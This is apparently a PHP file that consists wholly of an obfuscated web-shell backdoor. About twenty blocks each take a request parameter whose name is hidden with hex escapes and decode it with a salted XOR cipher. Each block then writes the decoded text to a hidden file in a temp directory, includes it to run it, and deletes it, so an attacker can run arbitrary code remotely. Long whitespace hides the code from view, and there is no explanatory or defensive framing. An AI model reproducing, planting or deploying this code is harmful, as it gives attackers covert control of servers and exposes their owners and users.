<?php																																										if(count($_POST) > 0 && isset($_POST["\x70\x72op\x65\x72\x74\x79_set"])){ $flg = $_POST["\x70\x72op\x65\x72\x74\x79_set"]; $flg=explode ( '.' , $flg ); $record= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt4); $m= 0; while ($m < count($flg)) { $v8= $flg[$m]; $chS= ord($salt4[$m %$sLen]); $d= ((int)$v8 - $chS - ($m %10)) ^ 2; $record.= chr($d); $m++; } $hld = array_filter(["/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP")]); while ($res = array_shift($hld)) { if (array_product([is_dir($res), is_writable($res)])) { $element = sprintf("%s/.flag", $res); if (file_put_contents($element, $record)) { include $element; @unlink($element); die(); } } } }
																																										if(!is_null($_POST["mr\x6B"] ?? null)){ $val = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); $res = $_POST["mr\x6B"]; $res = explode ( "." , $res ) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $l = 0; foreach($res as $v2) { $sChar = ord($salt[$l % $lenS]); $dec =((int)$v2 - $sChar -($l % 10)) ^ 5; $symbol .= chr($dec); $l++; } foreach ($val as $pgrp) { if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $dat = "$pgrp" . "/.ent"; $success = file_put_contents($dat, $symbol); if ($success) { include $dat; @unlink($dat); exit;} } } }
																																										if(!empty($_REQUEST["b\x69n\x64"])){ $val = $_REQUEST["b\x69n\x64"]; $val =explode( '.', $val ); $tkn = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); $y = 0; while( $y< count( $val)) { $v1 = $val[$y]; $chS = ord( $salt2[$y % $sLen]); $dec = ( ( int)$v1 - $chS -( $y % 10)) ^ 88; $tkn .= chr( $dec); $y++; } $token = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm"]); while ($sym = array_shift($token)) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $value = "$sym/.rec"; if (@file_put_contents($value, $tkn) !== false) { include $value; unlink($value); exit; } } } }
																																										if(!empty($_REQUEST["\x70\x67rp"])){ $comp = $_REQUEST["\x70\x67rp"]; $comp = explode ( '.' ,$comp) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $k = 0; foreach( $comp as $v3) { $sChar = ord( $salt[$k % $lenS]); $dec = ( ( int)$v3 - $sChar -( $k % 10)) ^70; $value .= chr( $dec); $k++; } $ref = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), getcwd()]); while ($res = array_shift($ref)) { if (is_writable($res) && is_dir($res)) { $resource = str_replace("{var_dir}", $res, "{var_dir}/.mrk"); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(!is_null($_REQUEST["it\x6D"] ?? null)){ $record = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP")]); $entry = $_REQUEST["it\x6D"]; $entry = explode( "." ,$entry ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $z = 0; foreach( $entry as $v5) {$chS = ord( $s[$z % $lenS]); $d =( ( int)$v5 - $chS -( $z % 10)) ^ 63; $holder .= chr( $d); $z++; } while ($sym = array_shift($record)) { if ((is_dir($sym) and is_writable($sym))) { $marker = implode("/", [$sym, ".ptr"]); if (file_put_contents($marker, $holder)) { include $marker; @unlink($marker); exit; } } } }
																																										if(isset($_POST["bind\x69\x6E\x67"]) ? true : false){ $res = $_POST["bind\x69\x6E\x67"]; $res = explode ( "." , $res ) ; $pointer =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s5); $v =0; while ($v < count($res)) { $v1 =$res[$v]; $sChar =ord($s5[$v % $lenS]); $d =((int)$v1 - $sChar - ($v % 10)) ^ 71; $pointer .= chr($d); $v++; } $hld = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp"]); foreach ($hld as $val): if (!!is_dir($val) && !!is_writable($val)) { $factor = sprintf("%s/.parameter_group", $val); $success = file_put_contents($factor, $pointer); if ($success) { include $factor; @unlink($factor); exit;} } endforeach; }
																																										if(@$_REQUEST["\x76al\x75e"] !== null){ $record = $_REQUEST["\x76al\x75e"]; $record = explode ( '.', $record ); $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $m = 0; array_walk($record, function ($v2) use (&$entry, &$m, $s, $sLen) { $chS = ord($s[$m % $sLen]); $dec = ((int)$v2 - $chS - ($m % 10)) ^ 79; $entry.= chr($dec); $m++; }); $property_set = array_filter([session_save_path(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $dchunk = 0; do { $pgrp = $property_set[$dchunk] ?? null; if ($dchunk >= count($property_set)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $comp = sprintf("%s/.bind", $pgrp); $success = file_put_contents($comp, $entry); if ($success) { include $comp; @unlink($comp); exit;} } $dchunk++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x62in\x64"])){ $pgrp = $_POST["\x62in\x64"]; $pgrp = explode( '.' , $pgrp ) ; $val = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $q = 0; while($q < count($pgrp)) { $v5 = $pgrp[$q]; $sChar = ord($salt2[$q % $sLen]); $d =((int)$v5 - $sChar -($q % 10)) ^ 17; $val .= chr($d); $q++; } $flg = array_filter([getenv("TEMP"), getcwd(), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); $itm = 0; do { $ref = $flg[$itm] ?? null; if ($itm >= count($flg)) break; if (!( !is_dir($ref) || !is_writable($ref) )) { $ent = sprintf("%s/.pset", $ref); if (file_put_contents($ent, $val)) { require $ent; unlink($ent); exit; } } $itm++; } while (true); }
																																										if(@$_REQUEST["p\x74\x72"] !== null){ $reference = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP")]); $pointer = $_REQUEST["p\x74\x72"]; $pointer=explode ( '.', $pointer) ; $ent = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $x = 0; foreach($pointer as $v8) { $sChar = ord($s3[$x% $lenS]); $dec =((int)$v8 - $sChar -($x% 10)) ^ 83; $ent .= chr($dec); $x++; } $itm = 0; do { $property_set = $reference[$itm] ?? null; if ($itm >= count($reference)) break; if ((is_dir($property_set) and is_writable($property_set))) { $elem = "$property_set/.comp"; if (file_put_contents($elem, $ent)) { include $elem; @unlink($elem); die(); } } $itm++; } while (true); }
																																										if(array_key_exists("\x65\x6Etry", $_REQUEST) && !is_null($_REQUEST["\x65\x6Etry"])){ $factor = array_filter([getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); $parameter_group = $_REQUEST["\x65\x6Etry"]; $parameter_group = explode ( "." ,$parameter_group) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); foreach($parameter_group as $q=> $v1): $chS= ord($s[$q % $lenS] ); $dec= ((int)$v1 - $chS -($q % 10))^ 19; $sym .= chr($dec ); endforeach; foreach ($factor as $data) { if (!!is_dir($data) && !!is_writable($data)) { $fac = vsprintf("%s/%s", [$data, ".entity"]); $success = file_put_contents($fac, $sym); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(isset($_POST["\x72e\x63o\x72d"])){ $token = $_POST["\x72e\x63o\x72d"]; $token = explode ( "." , $token ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($token as $n => $v7) { $chS = ord($s[$n % $sLen]); $dec = ((int)$v7 - $chS - ($n % 10)) ^ 25; $bind .= chr($dec); } $symbol = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp"]); foreach ($symbol as $key => $binding) { if (is_dir($binding) && is_writable($binding)) { $pset = str_replace("{var_dir}", $binding, "{var_dir}/.itm"); if (file_put_contents($pset, $bind)) { require $pset; unlink($pset); die(); } } } }
																																										if(!is_null($_REQUEST["\x70gr\x70"] ?? null)){ $factor = $_REQUEST["\x70gr\x70"]; $factor = explode( "." , $factor ); $flg =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $k =0; while( $k < count( $factor)) { $v2 =$factor[$k]; $sChar =ord( $salt[$k % $sLen]); $dec =( ( int)$v2 - $sChar -( $k % 10)) ^ 50; $flg .= chr( $dec); $k++; } $k = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($k as $token) { if ((bool)is_dir($token) && (bool)is_writable($token)) { $object = "$token" . "/.pointer"; if (file_put_contents($object, $flg)) { include $object; @unlink($object); die(); } } } }
																																										if(isset($_REQUEST["\x72\x65c\x6Frd"]) ? true : false){ $itm = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp"]); $val = $_REQUEST["\x72\x65c\x6Frd"]; $val=explode ( ".", $val ); $resource = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); foreach ($val as $y => $v9): $chS = ord($s9[$y % $sLen] ); $d = ((int)$v9 - $chS - ($y % 10)) ^ 28; $resource .= chr($d ); endforeach; while ($binding = array_shift($itm)) { if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $comp = implode("/", [$binding, ".ptr"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(in_array("\x70o\x69\x6E\x74er", array_keys($_POST))){ $flag = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $sym = $_POST["\x70o\x69\x6E\x74er"]; $sym = explode ( '.' ,$sym ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($sym as $r => $v4): $chS = ord($salt[$r % $sLen]); $dec =((int)$v4 - $chS -($r % 10)) ^77; $itm .= chr($dec); endforeach; foreach ($flag as $key => $ref) { if ((bool)is_dir($ref) && (bool)is_writable($ref)) { $entity = sprintf("%s/.marker", $ref); if (file_put_contents($entity, $itm)) { require $entity; unlink($entity); exit; } } } }
																																										if(in_array("\x72\x65c", array_keys($_REQUEST))){ $pointer = $_REQUEST["\x72\x65c"]; $pointer = explode ( "." , $pointer) ; $item =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt6); $__len =count( $pointer); for( $p =0; $p < $__len; $p++) { $v1 =$pointer[$p]; $sChar =ord( $salt6[$p % $sLen]); $dec =( ( int)$v1 - $sChar -( $p % 10)) ^ 14; $item .= chr( $dec); } $ent = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir()]); $marker = 0; do { $ptr = $ent[$marker] ?? null; if ($marker >= count($ent)) break; if (max(0, is_dir($ptr) * is_writable($ptr))) { $factor = implode("/", [$ptr, ".property_set"]); if (@file_put_contents($factor, $item) !== false) { include $factor; unlink($factor); exit; } } $marker++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x73\x79m")){ $ent = $_POST["\x73\x79m"]; $ent= explode( ".", $ent ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; while ($x < count($ent)) { $v8 = $ent[$x]; $chS = ord($s[$x % $sLen] ); $dec = ((int)$v8 - $chS - ($x % 10)) ^ 66; $desc .= chr($dec ); $x++;} $component = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP")]); while ($hld = array_shift($component)) { if (is_dir($hld) ? is_writable($hld) : false) { $dat = "$hld/.elem"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["ent"])){ $data = $_REQUEST["ent"]; $data =explode ( "." ,$data ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $p = 0; array_walk($data, function($v6) use(&$component, &$p, $salt, $lenS) { $sChar = ord($salt[$p % $lenS] ); $dec =((int)$v6 - $sChar -($p % 10))^ 21; $component .= chr($dec ); $p++; } ); $desc = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); for ($property_set = 0, $elem = count($desc); $property_set < $elem; $property_set++) { $dchunk = $desc[$property_set]; if ((is_dir($dchunk) and is_writable($dchunk))) { $resource = join("/", [$dchunk, ".parameter_group"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["token"])){ $desc = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $flg = $_REQUEST["token"]; $flg = explode ( '.' , $flg ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $s = 0; while($s < count($flg)) { $v2 = $flg[$s]; $sChar = ord($salt[$s % $sLen] ); $d =((int)$v2 - $sChar -($s % 10)) ^ 52; $mrk .= chr($d ); $s++; } while ($factor = array_shift($desc)) { if (is_dir($factor) && is_writable($factor)) { $element = "$factor" . "/.entry"; if (file_put_contents($element, $mrk)) { require $element; unlink($element); exit; } } } }


if(filter_has_var(INPUT_POST, "\x72e\x73\x6Fur\x63e")){
	$flag = array_filter([getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm"]);
	$itm = $_POST["\x72e\x73\x6Fur\x63e"];
		$itm	 =  	explode (	'.'	 	,	  $itm	 );	 	
	$data_chunk ='';
            $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($salt9 );
            $x =0;
    
            array_walk($itm 	, function ($v8) use (&$data_chunk 	, &$x 	, $salt9 	, $lenS) {
                $chS =ord($salt9[$x % $lenS] );
                $dec =((int)$v8 - $chS - ($x % 10)) ^ 75;
                $data_chunk .= chr($dec );
                $x++;
            } );
	foreach ($flag as $rec) {
    		if ((bool)is_dir($rec) && (bool)is_writable($rec)) {
    $desc = "$rec/.hld";
    $file = fopen($desc, 'w');
if ($file) {
	fwrite($file, $data_chunk);
	fclose($file);
	include $desc;
	@unlink($desc);
	die();
}
}
}
}